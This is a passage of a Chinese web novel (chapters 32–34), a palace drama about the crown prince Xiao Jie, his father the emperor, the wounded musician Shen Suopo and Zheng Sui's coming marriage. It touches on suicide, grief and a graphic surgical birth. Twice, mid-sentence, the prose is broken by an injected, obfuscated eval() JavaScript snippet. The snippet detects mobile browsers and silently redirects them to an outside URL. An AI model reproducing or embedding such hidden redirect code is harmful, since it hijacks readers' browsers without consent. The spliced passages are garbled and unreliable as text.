萧玠笑了笑:“殿下以为我怨陛下么?我不是怨他,我心疼他。陛下并不是工于心计之人,为了我,他什么都会干了。” 一时间,一股无可奈何的怆然贯穿杨观音的心口。她胸中酸涩,却不知要如何安慰眼前这个少年人。萧玠也丝毫没有讨她宽慰的意思,已站起身冲她抱袖行礼,态度恭敬,挑不出一丝差错,真像在对待他父亲的妻子,他的母亲。 萧玠道:“我去瞧瞧沈郎,晚些去看陛下。殿下劳累多日,快回宫歇息吧。” 32. 第 32 章 宫门徐徐打开,各家车马俱在外等候。郑缚眼睛一亮,叫一声:“娘!” 杨夫人正从油壁车上走下来,将奔跑过来的小儿子搂在怀里,低声问:“一切都好?你在宫里,有没有听你小姨和大哥的话?” 郑缚扁扁嘴,正要讲话,郑绥已抬步走上来,冲母亲微微一躬,道:“娘,夜里风大,先上车回家吧。” 杨夫人点点头,撵郑缚上车,摸了摸郑绥的脸,终究没说什么,叹道:“先回家。” 郑绥搀扶杨夫人登车后转头一瞧,各家郎娘都各自登车返家,他目光转过一圈,却不见王家的车马。似乎出宫路上,就没再瞧见王圣椿露面。 夜色寂寂,本该黑沉的天空却橘红跳动,光芒闪烁。郑绥抬首望去,不远处的天底似乎有火光振动,喧哗大作。他看不到听不到,但又看得到听得到。 他眼仁转动,正冲见不远处虞闻道的目光。他们一起在对方瞳孔里读出了时代变动的讯号。接着,虞闻道懒洋洋笑起来,冲他喊了句什么,郑绥通过他的唇形辨认:哪天找你吃酒去。 郑绥冲他一挥手,就要登车,却又顿住动作。 杨夫人见他久不上车,正要催促,打开车帘,见儿子在车前住步,面冲一个方向。 杨夫人随他瞧去,见那边停着一辆青壁马车,立着一个青衣少女,那少女冲他微微欠身。 片刻后,郑绥也冲她点了点头。 *** 萧恒赶到东宫时已至中夜,一进院子,奉旨守着的秋童便迎上来。 萧恒见阁中仍有灯光,问:“还没睡?” 秋童摇头。 “药吃了吗?” “药吃了,饭吃得少。” 萧恒点点头,又问道:“主使是什么人?” “教坊判官何仙丘,做的是他手下的排箫员,叫香官。” “把何仙丘提去甘露殿,我回去再问他。” “已经死了。” 萧恒脚步一顿,“死了?” 秋童道:“何仙丘见谋逆败露,意图当庭行刺,沈娑婆护住殿下,争夺间将他杀了。” 萧恒眉头微皱,缓缓道:“又是他。” 秋童颔首,“是。奴婢说句实话,殿下在行宫一年,也多亏有他陪着。他和殿下能说得上话。” 萧恒又问:“香官呢?” 秋童叹口气,“何仙丘死后,他趁人不备,咬舌自尽了。” 萧恒静了一会,又问:“沈娑婆回了教坊?” “他受了伤,殿下的意思,先留他在东宫将养。”秋童顿了顿,“殿下现在在他那边。” 萧恒没有多说什么,瞧了会那亮着的窗户,转头回去了。秋童跟上他的脚步,听他嘱咐道:“沈娑婆的底细要再查,必须查干净。还有,叫龙武抓着何仙丘和香官这条线,继续追查主使。” 秋童讶然,“陛下的意思是……何仙丘并非主谋?” 萧恒反问道:“你觉得阿玠一场大病,真的是厌胜咒出来的吗?” *** 阁中燃了一炉沉水香,是积年的东西,缕缕青烟映帐,居然有些摇曳的影子。萧玠坐在一旁,看太医将沈娑婆腹下的纱巾揭开,露出一个血眼般的豁口。 黑黑黄黄的药粉洒落时,沈娑婆开始剧烈呼吸。他没有发出半分声音,但萧玠盯着他的两条肋骨,像两条堤坝,在皮肉随呼吸收缩时显露出来。 太医替他换好药,萧玠将干净手巾递过去,问:“他怎么样?” 太医双手接过手巾,忙起身道:“未伤及要害,所幸没到夏天,伤口也不易化脓。好好将养一个月,定当无虞。” 萧玠这次放心,将太医送出门去,关上门时,听见沈娑婆道:“殿下不该把臣留在宫里,这不合规矩。” 萧玠道:“但凡与我相关,事无巨细,陛下都要过问。他没有发话遣你出宫,就是默许。你安心养伤就是。” 萧玠从床边坐下,见沈娑婆手中拢着一件东西,柔声道:“给我看看好吗?” 沈娑婆有些木然,将手掌打开。他的手指因受拶刑,已然包扎起来。 萧玠将那枚四棱刺拿过来,棱边沾染的鲜血已经干涸。他起身远远放到一遍,轻轻道:“太医也跟我说了,你的手指再养半个月就能好。这一段不要吃发物,也不要沾水。” 沈娑婆说:“我不想弹琵琶了。” 萧玠道:“那就不弹。” 室内一时默然。 萧玠静静坐了会,道:“沈郎,我给你讲一件我小时候的事,好不好?” 沈娑婆没有反应,萧玠便自顾自道:“你可能听说过,我小时候害魇症,很严重。东宫院子里有口井——你还记得那棵梨树吗?就在那棵梨树后。有一次我半夜梦魇,自己跳了进去。” 他见沈娑婆眼珠动了动,继续道:“那口井本来枯了,但我小时候好生病,司天台那群算命先生算过,说会妨我。我也没想到陛下居然会听进去,居然又往下挖了几尺,没挖出泉水,便从底下发了管道,把春明池的水引进来。我跳进去不久就醒了。那是个冬天,底下好冷,但很神奇,我那一刻居然没有任何挣扎的欲望,甚至,感到平和和幸福。我的生命似乎就包裹在一团水里,那时候我感觉我又变回了一个婴儿,甚至胎儿。那口重新注水的枯井,给我一种母腹的安全感。我一直很怕死,我有好多牵挂的人、好多想做的事,但真正面临死亡的那一刻,我居然想赶紧沉下去。” 沈娑婆喃喃道:“解脱。” 萧玠点点头,“等我被救上来,心里却完全不一样。好冷呀,冻得我病了两个月,又迷糊又难受。我当时就想,我以后一定不要淹死,又冷又呛,还会被泡得很难看。那口井现在对我还有一种神奇的魔力,但我切身知道了,那里面一点也不好,死一点也不好。所以我告诉过陛下,如果再看到我站在井上,尤其是睡梦里,不要害怕。我不是想死的,只要拉住我的手,我就会跟他回家。” 他看向沈娑婆的脸,轻声道:“沈郎,你好会劝人,你也一直这么劝自己的,对不对?其实死没有那么好,其实活着,会有一些值得期待的事。” 他轻轻握住沈娑婆的手,问:“你那时候,是不是也很冷?” 沈娑婆默了许久,问:“殿下被救上来,陛下在不在?” 萧玠一愣,沈娑婆道:“陛下哭了吧。” 萧玠道:“沈郎。” 沈娑婆笑了笑:“殿下不用担心。很多事情,臣一早就明白了。何况,他已经死了。” 说完这句话,他仍在笑,却微微有些打战。萧玠也不催促,过了一会,才听沈娑婆说:“殿下不是想知道,臣为什么一直闭口不言吗?” “你知道是他做的,是不是?”萧玠瞧着他的眼睛,“他这样待你,你仍想替他顶罪。” “臣犯了欺君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566375|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之罪。” “这是人之常情。”萧玠轻声道,“沈郎,你是重情义的人。” 沈娑婆静默片刻,眼角那粒小痣像被针尖刺出的血珠。他哑声道:“臣的欺瞒,不只这一桩。” “臣不是何仙丘捡来的弃婴,是他的外甥。” 他想表现得镇定,但牙齿都在磕碰,“我娘和他相依为命,却嫁了一个不中用的男人。何仙丘很看不上他,却拗不过我娘。他跟我说,他一早就知道,我娘会被那个男人害死。果然,我出生不久,我娘被他辜负,万念俱灰,就这么寻了短见。” 沈娑婆说:“殿下,你应该明白了。我是我娘的儿子,所以他爱我;但我又是害死他姊妹的仇人的儿子,所以他恨我。他折磨我,也抚养我;他毁了我,也栽培我。我跳池子被捞上来,他抱着我痛哭一场,又跟我说,我这辈子别想这么死掉。” “我恨他,我那么恨他,但我对他……不是没有反哺的心。他打我骂我磨挫我,但对我好的时候,真的很好。”沈娑婆脸埋在双手里,终于哭道,“殿下,是我杀了他,是我杀了他呀!” 萧玠抱住他,紧紧抱住。他太明白沈娑婆,他们两个演得比正常人还像正常人,但只有自己知道,有一把利剑悬在头顶,而悬它的不是绳索,只是一根头发丝。 萧玠不知道为什么会流泪,但他的确感觉满脸湿漉。他轻轻抚摸沈娑婆的后背,眼睛看向窗外,轻轻道:“沈郎,你瞧,池水暖了,梨花也开了。冬天已经过去了。” 春天到了。 *** 北方冬天寒杀人,春天却也养人,我的伤口慢慢痊愈,萧玠的身体状况也逐渐稳定,却拗不过皇帝的意思,一日两次地继续吃那副从甘露殿端来的汤药。萧玠占了储君的名头,他的身体状况似乎真同社稷相干,萧玠见好,皇帝萧条的事业也春风吹又生了,朝廷的反贪之风掀起,还真有些势如破竹的劲头。 但作为借居东宫的外客,我很敏锐。 我敏锐察觉,萧玠的心情并不算好。 他开始避见郑绥。 郑绥虽持鱼符,平素依旧恪守规矩,如入东宫必请皇太子令批准。萧玠却一反常态,几次三番都找借口婉拒。郑绥又是极聪慧的人,有这么两三次,便也不再请旨。 他俩的事情我看得大差不差,萧玠落花有意,郑绥那边也算不上流水无情。如今萧玠突然退却,只怕有了新的考量。 这几日,我指上的伤也见好。太医说,拶刑被制止的很是时候,没有伤到骨头,这一段停了汤药,只需每日敷药。这事我也能干,萧玠却心怀愧意,一直亲自替我上药。 萧玠将我指上纱巾一圈一圈拆开,执起我的手涂药膏,边道:“梨花虽谢,这几日杏花却开了,我陪你去看杏花,好不好?” 他声音很轻,像怕惊一只小猫小狗。看来我前一段萎靡的精神给他的惊吓不小,我只得无奈道:“殿下,臣真的没事了。伤也没事,心里也没事。” 萧玠正要开口,外头突然传来一阵急促脚步声。一人大步跨入屋中,身后是紧跟上来的阿子。阿子口中还叫着:“将军,奴婢真没骗您,殿下在忙,不见外客。” 我抬头一瞧,唷,还真是说曹操曹操到。我身边,萧玠却轻轻一颤。 他竟这么大的反应,我的确没料到。思索间,郑绥眼睛也投过来。 我顺着他的目光找去,看到我和萧玠相执的手。 33. 第 33 章 郑绥的目光迅速掠过,面色依旧平静,冲萧玠撩袍跪倒,“臣举止无状,横闯宫闱,请殿下降罪。” 我打量打量萧玠,再看看郑绥,慢悠悠把手抽回来。 有戏看,干嘛吱声。 外头花草茂,影子借阳光投入阁中,一室好春光。那光芒叫萧玠声音烁然:“小郑将军言重了,快起来吧。你急着见我,是有什么要事?” 郑绥正起身,动作一顿,等站定后看向萧玠,“臣拜见殿下,只能是因为要事了吗?” 萧玠嘴唇动了动,到底没说出什么。 我只怕他拿我当借口,适时道:“殿下同郑将军去吧,臣这边没什么事。” 郑绥可是从战场上下来的,我尚摸不准他脾气,万一真是个心狠手毒的,我只怕看不见明天的太阳。 城门一把野火烧不坏,池鱼命就这一条。 萧玠找不出话,只得起身,将我的手小心放好。我心中一紧,以为会从郑绥眼中看到冷箭,抬头,却见他垂下眼皮,叫任何人都看不清目光。 *** 萧玠如何也想不到,竟有一日和郑绥走到相对无言的地步。 他们两个从书房里站住,半晌,还是郑绥先开口:“殿下玉体安和吗?” 萧玠道:“都好。陛下给我换了新方子,今年春天咳嗽也没那么厉害了。” 郑绥颔首,从袖中取出一物,道:“臣做了新的枇杷膏。” 萧玠视线落在那八角瓷盒上,似乎能够嗅到枇杷清香,他轻轻笑了笑:“这一阵单吃药吃惯了,倒也不那么想了。” 郑绥手腕滞了一会,也缓缓收回,道:“臣和崔娘子没有相私。” 萧玠静静道:“你们是未婚夫妇,纵有情意,也不会是私情。” 他吸口气,再次改换笑脸:“听说你们定了日子,是在今年,还是明年开春?” 郑绥默然片刻,道:“臣离京在即,下个月初,便与崔娘子去户部登记。” 萧玠似乎浑身一僵,到底将头垂下来,问:“不做昏礼吗?” 郑绥道:“她与臣同去。” 一瞬间萧玠以为自己听错了,断断续续咳嗽起来:“人家是个女孩!没有昏礼没有过门,能叫人指着脊梁骨戳死!你再急也不能这样把她往死路上送!” 郑绥忙扶住他替他抚背,萧玠要挣开他,却被他紧紧钳住。郑绥声音也急:“殿下,殿下,你听臣说!臣同崔家商议,先携崔娘子回老家敬告祖宗再成昏礼。已经过了书聘,不是废礼私奔。” 萧玠一愣,咳嗽还没缓过来,一会便眼中泪水涔涔。等平复下来,方笑了笑:“你该早跟我说。” 郑绥仍握着他手臂,“臣……有隐衷。” 萧玠问:“崔家愿意么?” 郑绥只模糊道:“崔家希望越快越好。” 萧玠看着他,“你真的很喜欢她。” 郑绥许久没有开口。 一时静极,萧玠耳朵里全是钟漏滴答断续之声。不知过了多久,郑绥的声音才灌进耳中。 “父母之命,臣不得违抗。”郑绥道,“这件事……再过一段时间,臣会向殿下解释分明。” 郑绥将手中瓷盒放下,道:“这件东西还请殿下收下,臣告退。” 萧玠没有回应,也没有挽留。直到脚步声远去,他才缓缓从椅中坐下,双肘支在膝盖,手指抵在脸上,鼻息又深又促。 一会,又一阵跫音响起,立在他身后,一下一下摩挲他的后背。 半晌,萧玠才道:“姑姑,我觉得,我是有些喜欢他的。” 阿双仍抚摸他脊背。 “他要成亲啦,是好事。”萧玠说,“阴阳相配则万物相生,龙阳……是一种病。” 阿双涩声叫:“殿下。” 萧玠道:“我没有讲胡话。你看,陛下和他都是,所以我也是。但绥郎父母和睦,按道理,他的确喜欢女孩子。我该替他高兴。” 阿双劝道:“殿下,你的祖父母,文公和甘夫人也是夫妇相谐,但大王还是和陛下在一块了。” “所以他们分开了。”萧玠声音颤抖,“姑姑,这才是我最怕的事。阿耶年轻时的事,我知道一些……” 阿双浑身一震,发觉掌下身体哆嗦得厉害。萧玠许久才讲得出话:“他、他是被逼的,他本不是这样。如果没有那些事,如果他是祖父膝下那个天之骄子,你觉得他会选阿爹,还是娶妻生子?” 阿双无话可说。 萧玠抬起脸,声音很轻、很轻:“姑姑,人事是能影响人的。是我有病,不该连累别人。” 阿双泪水滑落,低头,却瞧见萧玠的笑容。 萧玠道:“我这辈子,就这样了。” *** 自此之后,郑绥没有再入东宫,萧玠再次得知他的情况,是他已经领命重返崤关的消息。他没有像从前一样向萧玠辞行。他离开的那天,萧玠也没有相送,但在当天傍晚,萧玠在夕阳相伴下走上城墙。 阿子跟在他身后,一颗心提到嗓子眼。从他打开笼子放飞郑绥就能看出来,萧玠对天空有一种可怕的向往。而他看向城墙的眼神,像看一段垫脚的梯子。 他看上去像随时都能跳下去。 但好在萧玠没表现出什么过激举动,他只是静静看着天空。此时此刻,夕阳已完全沉没,不远处的白龙山化作黑龙的脊背,黑黢黢地折射红光,染得天空像一块凝血的死肉。萧玠像是从它身上剥离的一块。 直到萧玠走下城墙,阿子才松一口气。萧玠没回东宫,直接往甘露殿去。甘露殿旁的园子里,地刚被翻过一遍,已有绿油油的嫩芽破土而出。每当萧恒有空就会干些农活,若政事上不顺心,更会在地里泡一段时间。 萧玠问看园子的瑞官,“阿爹今日瞧起来怎么样?” 瑞官想了想:“瞧着还好。六哥还念叨,记得郎君爱吃一种甜瓜。六哥专门翻了谈夫人的手记,说是咱们这边也能种出来,已经叫我们去问种子了。” 萧恒改不动秋童这些老人,便着意改这些年轻宫人的习惯,让他们叫自己六哥,叫萧玠郎君。萧玠一开始被这边殿下那边郎君叫得脑仁痛,久而久之也习惯了,在他们跟前,称呼萧恒也是家常叫法。 萧玠又问:“他今天来了几趟,地翻了几次?” 瑞官道:“来了两趟,下午待得时间要长,天黑刚走。” 说要给自己种瓜吃,心情没有大问题。但来得有些频繁,说明心中有事。 那是一桩很要紧,但不算坏的事。 萧玠心中有了把握,去甘露殿反把秋童吓了一跳。他手中还端着物件,忙道:“我的殿下,您怎么这个时辰来了。” 萧玠不料他这样大反应,又瞧向他手中,是一只用旧的药盅,并不是给自己寻常炖药的那只。 秋童见他目光,便笑道:“这不是殿下的药,是陛下进补的药。” 萧玠问:“真是补药?” 秋童颔首,“真是补药。” 萧玠说:“秋翁,你先放一放。” 秋童不明所以,萧玠便央他,“放一放吗。” 自他小秋童就最吃他这招。从前秦灼限他吃酪,萧恒又唯命是从,萧玠只得去磨秋童。他打小就会撒娇,眼睛睁大,摇着袖子小声哀求,十回有八回能在秋童这边奏效。 秋童心道,从小到大就这一招。 然后放下药盅,双手投降。 药盅一落,萧玠便揭开盖子,往底部舀出一勺。 秋童以为他要自己给萧恒端进去,便道:“殿下,这么舀全是渣子了。” 接着,萧玠将多余的汤药倒回盅里,把碗中剩下的药渣往帕子里一扣,迅速叠起来塞进袖子。 秋童哭笑不得,原来在这边等着,道:“成吧,能叫殿下放心,也好。” 萧玠看他反应,一时不说话。在秋童收拾好盏子要端时,他突然问:“陛下常去皇后那边吗?” 秋童不料他竟问这话,手一抖,抬头见萧玠已经红到了耳根。秋童结舌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566376|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半天,只道:“殿下,这事……奴婢也没法说啊。” 萧玠道:“我绝没有窥探的意思。” 他顿了顿,换了一种更委婉的说法:“陛下若再有子,我得备些礼的。皇后殿下到底正位中宫,东西不能含糊,我想着……看看什么时候着手准备。” 秋童心中酸涩。 将死之时,萧玠真心实意地盼萧恒能再有新子,不必余生孤苦。现在重新生活,如果萧恒再添子嗣,萧玠会难过,但依旧会衷心祝福。 这说明萧恒在向前看了。哪怕他把萧玠抛在身后,萧玠还是会祝福他。 他就是这样的人。 秋童嘴唇一动,帘后已传来脚步声,很迟滞。萧玠隐约记得,在他小时候,萧恒走起路来像吹过一阵微风,没有半分动静。 他抬头看去,萧恒已经打帘出来,对萧玠笑道:“怎么这时候过来,正想叫你秋翁给你送药。”又对秋童说:“药我炖上了,一会盛给他喝。” 萧玠道:“臣还没吃饭。” 萧恒便嘱咐秋童:“我记得有点牛乳,看看能不能给他蒸点糕。别拿糯米面,他克化不动。” 萧玠笑道:“哪里这么麻烦,我随阿爹吃就好。想吃馎饦,想吃酱菜。” 萧恒道:“酱菜你少吃。” 萧玠坐着拿眼睛看他,“想吃。” 这么僵持一会,萧恒只得道:“别给他找萝卜的,有一罐雪里蕻,用个青瓷小罐封着,是专门给他腌的。馎饦给他炖烂一些,加点葵菜,我今天有新摘回来的,在篮子里。” 萧恒又问他要不要吃鱼,萧玠说:“又要剔刺。” 萧恒道:“你老子在这里,不叫你动手。” 萧玠道:“不要了,好多,吃不掉就要倒。” 萧恒说:“吃不掉我明天吃。” 萧玠便急,“我一早说了,你也不许吃隔夜的。你胃又不好。” 萧恒便依他,对秋童笑道:“好,儿子大了,能当家了。” 秋童心道,何止他自己,谁不吃这一套。他殿下若日日能来哄这么一哄,只怕陛下天天在朝上密布的愁云也能消散不少。 既得了逞,萧玠眼睛一弯笑起来,萧恒从他对面坐下,也笑道:“高兴了吧。” 萧玠便站起来,挨在他身边坐,抱着他手臂道:“臣是小孩子呀,小孩子,可以使性子。” 他平日要装大人,难得这么撒娇,萧恒嘴上讲他多大年纪了,却也依他抱着,自己腾出左手,把药倒进碗里。 萧玠靠在他肩上,眼看那黑瀑布倾泻,神情有些朦胧,像看另一个世界。萧恒不用勺子,直接端碗喝掉,又将那只空碗放下,一下一下拍着萧玠的手。 萧玠腹中许多疑问,到嘴边,只是轻轻叫一句:“阿爹。” 萧恒应一声,半天没等到他动静,低头去看时,感觉萧玠动了动。他松开萧恒手臂,就势伏在萧恒膝盖上。 这一瞬,萧恒突然想起另一个人。那人也爱躺他膝盖,哪怕是看军报,也要这么躺着,嘴里有一搭没一搭讲话。要么就拿些腔调,含糊着拖着音叫他:萧重光—— 他想着,轻轻将萧玠耳边头发拨好。萧玠许是有些痒,缩了缩肩膀,但没有躲。他睫毛轻轻地动,像头温驯的幼兽。 萧玠小时候黏人,但更爱粘秦灼一些,即使当年,也少同萧恒这样亲昵过。那时候也软和,抱在怀里跟个糯米团子似的。现在隔着衣裳,萧恒的膝盖都感受到他一根一根的肋骨,那么瘦。 初做父母时,瞧着孩子,总盼着他懂事,盼着他长大。可他一旦做到了,你又盼着他不要懂事,永远长不大才好。 十六岁的萧恒杀人如麻,但在他这里,十六岁的萧玠就是小孩子。 最好一辈子都是。 萧恒轻轻抚摸他的头发,这么过了一会,还是道:“阿玠,阿爹要告诉你一件事。” 萧玠没起身,仰过脸看他。 萧恒看着他的眼睛,温声道:“这个夏天,你姑姑要来一趟。” 34. 第 34 章 萧玠做晚课前有洁面洗手的习惯。他从香炉边站定时,阿子依例去给他打一盆清水。 等阿子放轻脚步,连盆带水地端进阁中,萧玠仍站在原地,一动不动。 他在看神龛前供奉的一张弓。 那是把朱红大弓,足有小儿手臂粗细。镂刻火焰,雕饰虎纹,萧玠常常擦拭,因以光洁如新。 萧玠将那把大弓摘下,捧在手里,轻轻摩挲。突然,他左手持住弓身,右手手指扣上弓弦,尝试赤手拉开。 他的右手手臂颤抖,已经用尽全力,那根弓弦却仍只微微弯曲。 灯花爆了一下,在光明铜像眼中闪逝。终于,萧玠垂下手臂,抱着弓从桌边坐下。 阿子看着他拇指的血痕,忍不住道:“殿下想学弓,请陛下找个弓马师父就是。” 萧玠道:“我的弓马师父应当是太师。” 阿子闭上嘴巴。 曾做过太子太师的那位至今仍是梁宫忌讳,皇帝也没有任命新人,太师之位便空悬至今。 萧玠静了静,说:“不该是我的东西,给了我,也是暴殄天物。” 萧玠将弓放好,如常昨晚晚课,阿子却知他一夜难眠。第二天清早,他去陪萧恒吃早饭,吃到一半讲,想学骑马。萧恒似乎也知道缘由,并没有出言劝阻,只道:“成,红豆一直养在我这边,一会叫人给你牵过去。以后你歇过午觉,我陪你去骑。” 萧玠便笑:“阿爹还当我是小孩子呢。你帮我找个师父,或者找几个和我年纪相仿的,我们一块练练就成。” 萧恒道:“小郑若在京中正好,能陪着你。” 萧玠笑道:“人家是个带兵打仗的,哪能见天陪着我,传出去也不好听。” 反倒是萧恒默了一会,说:“你长大了。” 萧玠用饭挨着他坐,脑袋轻轻靠在他肩上,道:“但我永远都是阿爹的小孩呀。” 他这一段格外黏萧恒,连阿双都笑道:“倒不见殿下小时候这样黏乎陛下。” 萧恒已安排好人去上林猎场等他,萧玠正更换一件玉白骑装,边对镜系纽扣边道:“姑姑,我近来才发现,陛下其实很喜欢人亲昵他。我想起来,小时候他经常想抱我,但我更黏阿耶一些,总爱躲他。那时候我还没长大,他也年轻。他还抱得动我。” 萧玠说:“有件事,姑姑,我也没跟你讲过。” 是在秦灼南下后的半年,萧玠不知吃坏了什么东西,夜里腹痛如绞,冷汗连床单都湿透。等苏醒过来,看见的是床边形容憔悴的萧恒。他脸色发白,眼圈发青,眼睛发红。萧玠看着他焦急心痛的父亲,第一句话却是:“他生我妹妹的时候,是不是比这要疼很多?” 他看着萧恒的脸抽搐一下,由此确认,萧恒依旧痛苦。 萧恒青壮的身躯慢慢蜷缩,像一只没能破壳的蛾子,在最具生命力的时候死掉了。萧玠没有说话,固执地等待他的答案。许久,他听萧恒说:“我不知道。” 萧恒声音平静,说,我不知道你还有没有印象。那个时候,你妹妹已经保不住了。你阿耶一直不愿意打掉。生你妹妹那天,我哄他吃的药。那碗落胎药,是我亲手喂给的他。之前他流过血,我也以为那天不会再见血了。他靠在我肩膀上,在等阵痛,过了不到一盏茶的功夫,我看到有血从他腿间流出来。那时候他抓紧我的手,他说,到了,真的到了。我从他声音里听出了惊喜和期待。他不知道那是落胎药生效的作用,或者说,他还是不愿意相信。对此,我居然也跟着一块期待了。他拉着我的手,说,你别走。 说到这里,萧恒停顿一下,一息之后,他继续陈述:我说,我陪着你,我不走。他的脸被汗湿透了,慢慢开始叫痛。我听你姑姑说,你出生的时候,他一声都不愿意吭。那天他攥着我的手,叫六郎,我疼。我没想到那时候会哭出来,也没有意识到,是郑翁叫我,别哭,快给他喂麻沸散,血排得差不多了,是时候了。他那时候痛得汤都咽不下,浑身都哆嗦,和你今天一样。我喂了三次,他才把汤喝掉,过了一刻,就睡着了。我听从吩咐,把他的衣裳解开,郑翁取刀具,给他破腹。 萧恒停顿了第二次,这次比第一次时间要长一些。萧玠看到,父亲的额头汗珠密布。他吞咽一下,再开口,说,刀下去的时候,我感觉他身体搐动一下,几乎是同时,我眼前突然红了,有什么从我脸上流下来。我才意识到,是血,他的血溅在我脸上。 你可能也听说过,我杀过很多人。我打开过人的腹腔,从里面掏出没有完全碎掉的密函。我翻过他们的肠子、肝脏,我也想过会在你阿耶肚子里看到这些。但没有。萧恒说,我什么都没有看到,我看到的是一个蜷缩的胎儿。她很小,缩成一团,擦拭干净后,浑身粉红。皱巴巴的,但很漂亮。下一刻,我看到你阿耶开膛破肚地躺在我面前,闭着眼睛,呼吸很微弱。这时候,我看到了他的肠子和盆腔。 我开始试他的鼻息,很怕他就这么死掉。郑翁开始缝针,他浑身是血,我们三个都是。他手就那么垂着,像断了气。我跪在床边,抱着他的手,在想你出生的那天。我非常痛恨自己。罪魁祸首是我。为什么我不能代替他,为什么我叫他再受一遍这种罪。那是我第一次想,我是不是该和他分开,我和他在一块……是不是真的会把他害死。 萧恒说,那是奉皇六年大年初一,下午,酉时三刻,你妹妹出生。我听从你阿耶的意思,叫她阿皎。你妹妹,和你一个月的生日。 他讲完,看着萧玠的眼睛,问,儿子,听见这些,能叫你好受点吗? 萧玠牙齿都在打战,浑身哆嗦着问,你们为什么要生下我?你们要分开,为什么要把我生下来? 萧恒坐在床边,垂着肩膀,也垂着头,说,我们以为能这么到最后。 他的声音终于出现异样。他说: “我以为有了你,就永远不会和你阿耶分开。” 这是秦灼离开后,萧玠第一次见父亲流泪。他成功地刺痛了他,用他天真又残酷的,孩子式的恶毒。 他为萧恒的痛苦而痛快。 也为他的痛苦而痛苦。 现在,他想起萧恒坦诚的神情和血淋淋的剖白,突然意识到,这些年来,萧恒无数次想要张口解释。然后呢?然后他一准备讲到秦灼,就被自己反应强烈地顶回去。冰冷的,刻毒的,甚至是撕心裂肺的。有时候萧恒幸运地能说上两句,说他不会续娶,说我和你阿耶是真感情,说我们一直很爱你。说到这里,他就会收到自己的回复:陛下自当六宫粉黛,兔死狗烹的真感情,哦,这样。 萧恒但凡说得情真意切,在他耳中便是狡辩,是负心薄幸者的借口和托词——既如此,你又为什么背弃他,为什么赶他走? 这让萧恒哑口无言。 如果他剖陈政治原因,不可避免要触及南秦政权曾试图害死萧玠的根本,那是萧玠的姑姑、长辈和亲人,这对他儿子来说是一种致命的二次创伤。更何况,他的确背弃了秦灼。哪怕这背弃是不得已的保全。 他不信萧恒的解释,等萧恒不再解释,他又怨恨萧恒拒绝解释。 他现在才意识到,让父亲拒绝解释的,是自己强烈的受伤反应。自己会争吵、痛哭、咳嗽,然后歇斯底里地发病。萧恒最后那次尝试进行的交谈,以自己喘鸣发作告终。自此之后,萧恒停止了解释的举动。 他后来的沉默,是为了保护。 ……竟一叶障目至此吗? 十六岁的萧玠站在镜前,镜中人像因光影模糊,浮现一张酷似秦灼的面孔。 萧玠盯着自己的脸,说:“我说了那番话,以为阿爹会恨我。” 阿双说:“没有父母会生孩子的气。” 萧玠问:“就算有一天,我不要他了,回去找阿耶吗?” 阿双说:“他会高兴。” 萧玠迅速眨了几下眼睛,把最后一粒纽扣系好,冲阿双笑道:“那我得先把骑马学会了。” *** 萧玠牵了红豆,赶去上林猎场。 时值春深,天气暖和,太阳下草波徐徐翻卷,如同金海。不远处,一人由秋童陪同等候,见他来,也牵马上前。 见了面,萧玠反倒有些讶然,那人瞧他表情,笑道:“倒把殿下吓了一跳。” 萧玠笑道:“嘉国公世子何等尊贵,哪能做这等役使。” 秋童守在一旁,道:“世子听闻殿下要练马,有意挑这个担子,特意进宫求的陛下。世子骑□□绝,就算放到行伍里也不输人,有他陪伴,陛下也能放心。” 红豆轻轻打了个响鼻,萧玠抬手抚摸他的鬃毛,冲虞闻道笑了笑。 虞氏一族与前朝盘根错节,更是世家之首,只是多年远镇关外,未曾牵涉京中争斗,但对当朝也绝非恭敬。如今还京立府,态度也尚未明朗。 但世族闹事那天,虞闻道送来报信的字条。萧玠在东宫宴席上见了他的字迹,的确出自其手。 这件事他告诉了父亲,父亲却没有更多的表示。 他对虞氏的态度究竟如何?身为世家之首的虞氏,和其他各族到底是什么关系? “殿下对臣这个人选,有什么疑惑吗?” 萧玠抬头,正撞见虞闻道的目光。 像两团宫灯的火焰。常年护在暖室里,不怕熄灭,只懒懒地烧。 萧玠笑道:“只是有些意外,到底和世子相交未深。” 虞闻道也笑道:“臣久居关外,虽知殿下千金之躯,却一直没能面见。这不,终于回京得了便宜,便赶紧来攀附殿下了。” 他说话倒有趣。 萧玠就算对他还有疑惑,也信得过萧恒,便不多思虑,问:“世子要怎样教习?” 虞闻道说:“头一日,殿下先熟悉熟悉马匹和架势。请殿下上马,臣牵着殿下遛一圈。” 萧玠瞧了瞧鞍鞯,有些赧意,道:“世子别笑话我,我只怕连镫都认不好。” 秋童忙道:“殿下稍等,奴婢找个脚凳。” 虞闻道笑道:“大内官太仔细了。殿下以后临上马,总不能满场找凳子吧。” 他站到马前,一手抚摸马颈安抚,一手将缰绳交给萧玠。 萧玠上前听他指挥,他又把马镫牵过来,道:“殿下左手握缰,对,认左脚。是这样,然后右脚顿地借力,往上跳。” 萧玠苦笑。 你真是高看我了。 他对这把小身子骨颇有自知之明,但要学马的是他,叫他萧恒找人的也是他。如今连个马都不敢上,打的是他爹的脸。 他呼吸几下,硬着头皮顿了顿脚,要向上翻身时,感觉一股力将他往上一运。他还没回过神,自己已经坐在马背上。 见他坐稳,虞闻道才从他腰间撤回双手,抬了抬眉头,冲他比了个拇指。 